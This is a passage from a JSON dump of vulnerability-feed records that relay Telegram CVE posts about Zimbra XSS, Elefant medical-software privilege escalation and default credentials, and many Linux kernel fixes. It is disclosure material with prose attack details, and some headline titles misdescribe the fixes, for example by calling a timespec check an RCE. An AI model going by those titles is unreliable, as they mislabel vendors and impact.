\"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T23:03:43.000000Z"}, {"uuid": "10596832-9b3b-4b59-b75b-f0d92dbfc703", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50599", "type": "seen", "source": "https://t.me/cvedetector/10130", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50599 - Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50599 \nPublished : Nov. 7, 2024, 9:15 p.m. | 22\u00a0minutes ago \nDescription : A reflected Cross-Site Scripting (XSS) vulnerability has been identified in Zimbra Collaboration Suite (ZCS) 8.8.15, affecting one of the webmail calendar endpoints. This arises from improper handling of user-supplied input, allowing an attacker to inject malicious code that is reflected back in the HTML response. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-07T22:47:38.000000Z"}, {"uuid": "8325f24e-413a-4eb8-a788-5353e471b876", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50810", "type": "seen", "source": "https://t.me/cvedetector/10221", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50810 - Hopetree izone LTS XSS\", \n  \"Content\": \"CVE ID : CVE-2024-50810 \nPublished : Nov. 8, 2024, 7:15 p.m. | 39\u00a0minutes ago \nDescription : hopetree izone lts c011b48 contains a Cross Site Scripting (XSS) vulnerability in the article comment function. In \\apps\\comment\\views.py, AddCommintView() does not securely filter user input and renders it directly to the frontend page through templates. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T21:23:34.000000Z"}, {"uuid": "7064f185-8ff3-47c0-a2d6-e40ce396ee0c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50811", "type": "seen", "source": "https://t.me/cvedetector/10216", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50811 - Hopetree Izone SSRF Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50811 \nPublished : Nov. 8, 2024, 7:15 p.m. | 39\u00a0minutes ago \nDescription : hopetree izone lts c011b48 contains a server-side request forgery (SSRF) vulnerability in the active push function as \\\\apps\\\\tool\\\\apis\\\\bd_push.py does not securely filter user input through push_urls() and get_urls(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T21:23:27.000000Z"}, {"uuid": "00a840d2-e3e4-4a35-bb3e-9b89a2a76383", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50634", "type": "seen", "source": "https://t.me/cvedetector/10208", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50634 - \"Watcharr JWT Token Weakness\"\", \n  \"Content\": \"CVE ID : CVE-2024-50634 \nPublished : Nov. 8, 2024, 5:15 p.m. | 32\u00a0minutes ago \nDescription : A vulnerability in a weak JWT token in Watcharr v1.43.0 and below allows attackers to perform privilege escalation using a crafted JWT token. This vulnerability is not limited to privilege escalation but also affects all functions that require authentication. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T18:52:58.000000Z"}, {"uuid": "edb20d05-4606-4655-b2e1-f0c9c9070686", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50209", "type": "seen", "source": "https://t.me/cvedetector/10165", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50209 - Netronome RDMA Allocation Check Failure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50209 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/bnxt_re: Add a check for memory allocation  \n  \n__alloc_pbl() can return error when memory allocation fails.  \nDriver is not checking the status on one of the instances. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:36.000000Z"}, {"uuid": "3b0c407b-ed98-40b5-9032-b9d00c646dfa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50590", "type": "seen", "source": "https://t.me/cvedetector/10197", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50590 - Elefant Windows Privilege Escalation vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50590 \nPublished : Nov. 8, 2024, 12:15 p.m. | 29\u00a0minutes ago \nDescription : Attackers with local access to the medical office computer can   \nescalate their Windows user privileges to \"NT AUTHORITY\\SYSTEM\" by   \noverwriting one of two Elefant service binaries with weak permissions.\u00a0The default installation directory of Elefant is \"C:\\Elefant1\" which is   \nwritable for all users. In addition, the Elefant installer registers two  \n Firebird database services which are running as \u201cNT AUTHORITY\\SYSTEM\u201d.\u00a0  \n  \nPath: C:\\Elefant1\\Firebird_2\\bin\\fbserver.exe  \n  \nPath: C:\\Elefant1\\Firebird_2\\bin\\fbguard.exe  \n  \n  \nBoth service binaries are user writable. This means that a local   \nattacker can rename one of the service binaries, replace the service   \nexecutable with a new executable, and then restart the system. Once the   \nsystem has rebooted, the new service binary is executed as \"NT   \nAUTHORITY\\SYSTEM\". \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T13:50:42.000000Z"}, {"uuid": "4295d5df-7019-4017-bd11-8079286d66b1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50194", "type": "published-proof-of-concept", "source": "https://t.me/cvedetector/10179", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50194 - ARM Linux Big-Endian Uprobes Endianness Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50194 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \narm64: probes: Fix uprobes for big-endian kernels  \n  \nThe arm64 uprobes code is broken for big-endian kernels as it doesn't  \nconvert the in-memory instruction encoding (which is always  \nlittle-endian) into the kernel's native endianness before analyzing and  \nsimulating instructions. This may result in a few distinct problems:  \n  \n* The kernel may may erroneously reject probing an instruction which can  \n  safely be probed.  \n  \n* The kernel may erroneously erroneously permit stepping an  \n  instruction out-of-line when that instruction cannot be stepped  \n  out-of-line safely.  \n  \n* The kernel may erroneously simulate instruction incorrectly dur to  \n  interpretting the byte-swapped encoding.  \n  \nThe endianness mismatch isn't caught by the compiler or sparse because:  \n  \n* The arch_uprobe::{insn,ixol} fields are encoded as arrays of u8, so  \n  the compiler and sparse have no idea these contain a little-endian  \n  32-bit value. The core uprobes code populates these with a memcpy()  \n  which similarly does not handle endianness.  \n  \n* While the uprobe_opcode_t type is an alias for __le32, both  \n  arch_uprobe_analyze_insn() and arch_uprobe_skip_sstep() cast from u8[]  \n  to the similarly-named probe_opcode_t, which is an alias for u32.  \n  Hence there is no endianness conversion warning.  \n  \nFix this by changing the arch_uprobe::{insn,ixol} fields to __le32 and  \nadding the appropriate __le32_to_cpu() conversions prior to consuming  \nthe instruction encoding. The core uprobes copies these fields as opaque  \nranges of bytes, and so is unaffected by this change.  \n  \nAt the same time, remove MAX_UINSN_BYTES and consistently use  \nAARCH64_INSN_SIZE for clarity.  \n  \nTested with the following:  \n  \n| #include   \n| #include   \n|  \n| #define noinline __attribute__((noinline))  \n|  \n| static noinline void *adrp_self(void)  \n| {  \n|         void *addr;  \n|  \n|         asm volatile(  \n|         \"       adrp    %x0, adrp_self\\n\"  \n|         \"       add     %x0, %x0, :lo12:adrp_self\\n\"  \n|         : \"=r\" (addr));  \n| }  \n|  \n|  \n| int main(int argc, char *argv)  \n| {  \n|         void *ptr = adrp_self();  \n|         bool equal = (ptr == adrp_self);  \n|  \n|         printf(\"adrp_self   => %p\\n\"  \n|                \"adrp_self() => %p\\n\"  \n|                \"%s\\n\",  \n|                adrp_self, ptr, equal ? \"EQUAL\" : \"NOT EQUAL\");  \n|  \n|         return 0;  \n| }  \n  \n.... where the adrp_self() function was compiled to:  \n  \n| 00000000004007e0 :  \n|   4007e0:       90000000        adrp    x0, 400000 <__ehdr_start|   4007e4:       911f8000        add     x0, x0, #0x7e0  \n|   4007e8:       d65f03c0        ret  \n  \nBefore this patch, the ADRP is not recognized, and is assumed to be  \nsteppable, resulting in corruption of the result:  \n  \n| # ./adrp-self  \n| adrp_self   => 0x4007e0  \n| adrp_self() => 0x4007e0  \n| EQUAL  \n| # echo 'p /root/adrp-self:0x007e0' > /sys/kernel/tracing/uprobe_events  \n| # echo 1 > /sys/kernel/tracing/events/uprobes/enable  \n| # ./adrp-self  \n| adrp_self   => 0x4007e0  \n| adrp_self() => 0xffffffffff7e0  \n| NOT EQUAL  \n  \nAfter this patch, the ADRP is correctly recognized and simulated:  \n  \n| # ./adrp-self  \n| adrp_self   => 0x4007e0  \n| adrp_self() => 0x4007e0  \n| EQUAL  \n| #  \n| # echo 'p /root/adrp-self:0x007e0' > /sys/kernel/tracing/uprobe_events  \n| # echo 1 > /sys/kernel/tracing/events/uprobes/enable  \n| # ./adrp-self  \n| adrp_self   => 0x4007e0  \n| adrp_self() => 0x4007e0  \n| EQUAL \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:55.000000Z"}, {"uuid": "55091592-7129-4271-9852-64faf26ffc3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50588", "type": "seen", "source": "https://t.me/cvedetector/10190", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50588 - Elefant Firebird Database Remote File System and Data Access Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50588 \nPublished : Nov. 8, 2024, 9:15 a.m. | 40\u00a0minutes ago \nDescription : An unauthenticated attacker with access to the local network of the   \nmedical office can use known default credentials to gain remote DBA   \naccess to the Elefant Firebird database. The data in the database   \nincludes patient data and login credentials among other sensitive data.   \nIn addition, this enables an attacker to create and overwrite arbitrary   \nfiles on the server filesystem with the rights of the Firebird database   \n(\"NT AUTHORITY\\SYSTEM\"). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T11:20:20.000000Z"}, {"uuid": "134673a3-c27f-4ccd-864f-88a712afba0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50192", "type": "seen", "source": "https://t.me/cvedetector/10181", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50192 - \"GICv4: Affinity Changing Vulnerability in irqchip\"\", \n  \"Content\": \"CVE ID : CVE-2024-50192 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nirqchip/gic-v4: Don't allow a VMOVP on a dying VPE  \n  \nKunkun Jiang reported that there is a small window of opportunity for  \nuserspace to force a change of affinity for a VPE while the VPE has already  \nbeen unmapped, but the corresponding doorbell interrupt still visible in  \n/proc/irq/.  \n  \nPlug the race by checking the value of vmapp_count, which tracks whether  \nthe VPE is mapped ot not, and returning an error in this case.  \n  \nThis involves making vmapp_count common to both GICv4.1 and its v4.0  \nancestor. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:57.000000Z"}, {"uuid": "e980874e-2475-4b10-906a-cef253227659", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50203", "type": "seen", "source": "https://t.me/cvedetector/10180", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50203 - Linux Kernel bpf Arm64 Heap Buffer Overflow\", \n  \"Content\": \"CVE ID : CVE-2024-50203 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nbpf, arm64: Fix address emission with tag-based KASAN enabled  \n  \nWhen BPF_TRAMP_F_CALL_ORIG is enabled, the address of a bpf_tramp_image  \nstruct on the stack is passed during the size calculation pass and  \nan address on the heap is passed during code generation. This may  \ncause a heap buffer overflow if the heap address is tagged because  \nemit_a64_mov_i64() will emit longer code than it did during the size  \ncalculation pass. The same problem could occur without tag-based  \nKASAN if one of the 16-bit words of the stack address happened to  \nbe all-ones during the size calculation pass. Fix the problem by  \nassuming the worst case (4 instructions) when calculating the size  \nof the bpf_tramp_image address emission. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:56.000000Z"}, {"uuid": "571cfaf2-2b55-4b16-8296-4cf60491ece8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50204", "type": "seen", "source": "https://t.me/cvedetector/10178", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50204 - Linux Kernel RB Tree Node Remove Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50204 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nfs: don't try and remove empty rbtree node  \n  \nWhen copying a namespace we won't have added the new copy into the  \nnamespace rbtree until after the copy succeeded. Calling free_mnt_ns()  \nwill try to remove the copy from the rbtree which is invalid. Simply  \nfree the namespace skeleton directly. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:55.000000Z"}, {"uuid": "b29320ce-173d-49c4-a6e1-17ee18c2ab2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50196", "type": "seen", "source": "https://t.me/cvedetector/10177", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50196 - Linux Kernel Pinctrl Ocelot Improper Interrupt Handling Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50196 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \npinctrl: ocelot: fix system hang on level based interrupts  \n  \nThe current implementation only calls chained_irq_enter() and  \nchained_irq_exit() if it detects pending interrupts.  \n  \n```  \nfor (i = 0; i < info->stride; i++) {  \n uregmap_read(info->map, id_reg + 4 * i, \u00ae);  \n if (!reg)  \n  continue;  \n  \n chained_irq_enter(parent_chip, desc);  \n```  \n  \nHowever, in case of GPIO pin configured in level mode and the parent  \ncontroller configured in edge mode, GPIO interrupt might be lowered by the  \nhardware. In the result, if the interrupt is short enough, the parent  \ninterrupt is still pending while the GPIO interrupt is cleared;  \nchained_irq_enter() never gets called and the system hangs trying to  \nservice the parent interrupt.  \n  \nMoving chained_irq_enter() and chained_irq_exit() outside the for loop  \nensures that they are called even when GPIO interrupt is lowered by the  \nhardware.  \n  \nThe similar code with chained_irq_enter() / chained_irq_exit() functions  \nwrapping interrupt checking loop may be found in many other drivers:  \n```  \ngrep -r -A 10 chained_irq_enter drivers/pinctrl  \n``` \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:54.000000Z"}, {"uuid": "3a22b29c-b48c-4c54-90a5-9847cdde224c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50208", "type": "seen", "source": "https://t.me/cvedetector/10164", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50208 - \"Intel RDMA - PBL Buffer Overflow Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50208 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nRDMA/bnxt_re: Fix a bug while setting up Level-2 PBL pages  \n  \nAvoid memory corruption while setting up Level-2 PBL pages for the non MR  \nresources when num_pages > 256K.  \n  \nThere will be a single PDE page address (contiguous pages in the case of >  \nPAGE_SIZE), but, current logic assumes multiple pages, leading to invalid  \nmemory access after 256K PBL entries in the PDE. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:35.000000Z"}, {"uuid": "eef6b2cb-fa0b-4abe-8ef6-84ef67454538", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50211", "type": "seen", "source": "https://t.me/cvedetector/10163", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50211 - Toshiba UDF Linux Kernel Memory Corruption Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50211 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nudf: refactor inode_bmap() to handle error  \n  \nRefactor inode_bmap() to handle error since udf_next_aext() can return  \nerror now. On situations like ftruncate, udf_extend_file() can now  \ndetect errors and bail out early without resorting to checking for  \nparticular offsets and assuming internal behavior of these functions. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:35.000000Z"}, {"uuid": "0fce540a-7ea1-4262-a521-7570f77bdc72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50207", "type": "seen", "source": "https://t.me/cvedetector/10162", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50207 - Linux Ring Buffer Subbuffer Order Set Reader Lock Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-50207 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nring-buffer: Fix reader locking when changing the sub buffer order  \n  \nThe function ring_buffer_subbuf_order_set() updates each  \nring_buffer_per_cpu and installs new sub buffers that match the requested  \npage order. This operation may be invoked concurrently with readers that  \nrely on some of the modified data, such as the head bit (RB_PAGE_HEAD), or  \nthe ring_buffer_per_cpu.pages and reader_page pointers. However, no  \nexclusive access is acquired by ring_buffer_subbuf_order_set(). Modifying  \nthe mentioned data while a reader also operates on them can then result in  \nincorrect memory access and various crashes.  \n  \nFix the problem by taking the reader_lock when updating a specific  \nring_buffer_per_cpu in ring_buffer_subbuf_order_set(). \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:34.000000Z"}, {"uuid": "a6d0b586-fe1e-4aa0-b859-b6421b441d21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50206", "type": "seen", "source": "https://t.me/cvedetector/10175", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50206 - \"MTK eth soc DMA Memory Corruption Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-50206 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nnet: ethernet: mtk_eth_soc: fix memory corruption during fq dma init  \n  \nThe loop responsible for allocating up to MTK_FQ_DMA_LENGTH buffers must  \nonly touch as many descriptors, otherwise it ends up corrupting unrelated  \nmemory. Fix the loop iteration count accordingly. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:50.000000Z"}, {"uuid": "c68fdaff-daac-4966-8883-2137c48b69a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50195", "type": "seen", "source": "https://t.me/cvedetector/10173", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50195 - Linux Kernel posix-clock Tespasteime64 Validation RCE\", \n  \"Content\": \"CVE ID : CVE-2024-50195 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nposix-clock: Fix missing timespec64 check in pc_clock_settime()  \n  \nAs Andrew pointed out, it will make sense that the PTP core  \nchecked timespec64 struct's tv_sec and tv_nsec range before calling  \nptp->info->settime64().  \n  \nAs the man manual of clock_settime() said, if tp.tv_sec is negative or  \ntp.tv_nsec is outside the range [0..999,999,999], it should return EINVAL,  \nwhich include dynamic clocks which handles PTP clock, and the condition is  \nconsistent with timespec64_valid(). As Thomas suggested, timespec64_valid()  \nonly check the timespec is valid, but not ensure that the time is  \nin a valid range, so check it ahead using timespec64_valid_strict()  \nin pc_clock_settime() and return -EINVAL if not valid.  \n  \nThere are some drivers that use tp->tv_sec and tp->tv_nsec directly to  \nwrite registers without validity checks and assume that the higher layer  \nhas checked it, which is dangerous and will benefit from this, such as  \nhclge_ptp_settime(), igb_ptp_settime_i210(), _rcar_gen4_ptp_settime(),  \nand some drivers can remove the checks of itself. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:48.000000Z"}, {"uuid": "11751a5f-0eda-4745-ade7-99cb4760fd66", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50193", "type": "seen", "source": "https://t.me/cvedetector/10172", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50193 - Intel CPU Buffer Cleardown Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50193 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \nx86/entry_32: Clear CPU buffers after register restore in NMI return  \n  \nCPU buffers are currently cleared after call to exc_nmi, but before  \nregister state is restored. This may be okay for MDS mitigation but not for  \nRDFS. Because RDFS mitigation requires CPU buffers to be cleared when  \nregisters don't have any sensitive data.  \n  \nMove CLEAR_CPU_BUFFERS after RESTORE_ALL_NMI. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:47.000000Z"}, {"uuid": "ce59cadb-58d8-4fb1-8f37-a2a5cd5133f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50191", "type": "seen", "source": "https://t.me/cvedetector/10171", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50191 - Ext4 Remote Filesystem Freeze Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50191 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \next4: don't set SB_RDONLY after filesystem errors  \n  \nWhen the filesystem is mounted with errors=remount-ro, we were setting  \nSB_RDONLY flag to stop all filesystem modifications. We knew this misses  \nproper locking (sb->s_umount) and does not go through proper filesystem  \nremount procedure but it has been the way this worked since early ext2  \ndays and it was good enough for catastrophic situation damage  \nmitigation. Recently, syzbot has found a way (see link) to trigger  \nwarnings in filesystem freezing because the code got confused by  \nSB_RDONLY changing under its hands. Since these days we set  \nEXT4_FLAGS_SHUTDOWN on the superblock which is enough to stop all  \nfilesystem modifications, modifying SB_RDONLY shouldn't be needed. So  \nstop doing that. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"08 Nov 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-11-08T07:59:44.000000Z"}, {"uuid": "246fb3a6-ac19-423b-a929-f7c4e6e4c77b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50201", "type": "seen", "source": "https://t.me/cvedetector/10170", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-50201 - Radeon DRM Possible Clones Validation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-50201 \nPublished : Nov. 8, 2024, 6:15 a.m. | 41\u00a0minutes ago \nDescription : In the Linux kernel, the following vulnerability has been resolved:  \n  \ndrm/radeon: Fix encoder->possible_clones  \n  \nInclude the encoder itself in its possible_clones bitmask.  \nIn the past nothing validated that drivers were populating  \npossible_clones correctly, but that changed in commit  \n74d2aacbe840 (\"drm: Validate encoder->possible_clones\").  \nLooks like radeon never got the memo and is still not  \nfollowing the rules 100% correctly.  \n  \nThis results in some warnings during driver initialization:  \nBogus possible_clones: [ENCODER:46:TV-46] possible_clones=0x4 (full encoder mask=0x7)  \nWARNING: CPU: 0 PID: 170 at drivers/gpu/drm/drm_mode_config.c:615 drm_mode_config_validate+0x113/0x39c  \n...  \n  \n(cherry picked from commit 3b6e7d40649c0d75572039aff9d0911864c689db) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, 